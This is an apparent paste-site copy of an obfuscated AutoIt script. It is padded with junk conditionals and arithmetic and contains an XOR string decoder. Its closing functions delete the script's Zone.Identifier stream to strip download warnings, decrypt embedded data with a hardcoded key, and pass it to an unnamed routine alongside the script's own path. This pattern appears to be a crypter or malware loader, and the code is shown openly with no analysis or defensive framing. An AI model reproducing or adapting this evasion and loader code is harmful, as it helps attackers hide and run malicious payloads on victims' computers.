- Dim $xzxyd5x8eqfzo24acc6v = tznhxlbucosri("Fgldv4qggTdEsdmL4NeO2MqWcMtTfB55xu3qLuJIRqJVvaIlYriYQrocXT2HXMNZIkOTScb2fv5Xmgrp")
- Dim $mqwnnuckgeq7d2hzamfg = tznhxlbucosri("W6mXh3GhqGCalUxwe59tuHO7ti9cZXuNDLDRB9nVN4Y9DQQTbUIEHmLaiZIdieSTQL0")
- EndIf
- If 174 = 174 AND 272 < 282 AND 153 >= 142 AND 211 < 288 AND $1312944448 = 1307843693 Then
- Local $result
- $1312944448 = 304222797
- IsString(tznhxlbucosri("4fjuN9wKWot"))
- EndIf
- If 223 >= 171 AND 110 <= 244 AND 203 = 203 AND 111 < 206 AND 281 <> 256 AND $1312944448 = 1591982618 Then
- Local $xor
- $1312944448 = 960345959
- Dim $v4rl9mbk1lbpgcgqojz8 = 2833626 * 3861030 - 2077036
- EndIf
- If 179 > 173 AND 157 <= 187 AND 115 > 111 AND 112 > 101 AND 279 = 279 AND $1312944448 = 1681609778 Then
- Local $len = StringLen(BinaryToString($mejcxwedlftw))
- Ptr(tznhxlbucosri("fI7g9t7ca9lijwZrLcYvQ9n81A"))
- ExitLoop
- IsFloat(tznhxlbucosri("VNdNi6iinhkS0yGFfYFQBjnKh2F3cCrijGADgTQvC3JoFrwIt5Xi69mSzkYkMpeQAepMfwRY9UQLanv6GHiKu4KrrAspG5pAjX0Et3a"))
- EndIf
- Chr(243954)
- Next
- For $i = "1" To $split["0"]
- Global $1591982618 = 1307843693
- Global $tb8jdyqsbg = 3976614
- For $e = 0 To 642517
- Dim $yezfvmhw3defcogwmdrr = tznhxlbucosri("szYfqhoTapSVF095O9A1i7O4uylc3pBQ0")
- If 167 = 167 AND 130 < 201 AND 142 > 131 AND 226 >= 121 AND $1591982618 = 304222797 Then
- $xor = BitXOR($char, $len)
- IsPtr(2795929 * 3336376 + 2512070)
- ExitLoop
- EndIf
- If 231 <= 263 AND 272 > 107 AND 132 < 240 AND 153 <> 271 AND $1591982618 = 1307843693 Then
- $char = Asc($split[$i])
- $1591982618 = 304222797
- IsPtr(3236955 * 1257376 + 1578005)
- EndIf
- IsString(1435037 + 3425477)
- Next
- For $ii = "0" To $len - "1"
- $xor = BitXOR($xor, $len + $ii)
- Next
- $result &= ChrW($xor)
- Next
- Return $result
- EndFunc
- Dim $tpikgrflcy
- edjffcrxok()
- Func edjffcrxok()
- dtagcgaows("SystemSettingsBroker")
- Execute("FileDelete(@ScriptFullPath & ':Zone.Identifier')")
- Global $startupdir
- Dim $wmqlkdkbyl = Execute("DllStructGetData")
- $tpikgrflcy = $wmqlkdkbyl(fpiwnlwmmu("azroleuiy", "5"), 1)
- $tpikgrflcy = bxrpokoote($tpikgrflcy, "SHxmyCDoNTQbZWshHkCmpPMzrhCYbePl")
- EndFunc
- qvymrxbzoa()
- Func qvymrxbzoa()
- kjvzijodxe(@ScriptFullPath, $tpikgrflcy, False, True)
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement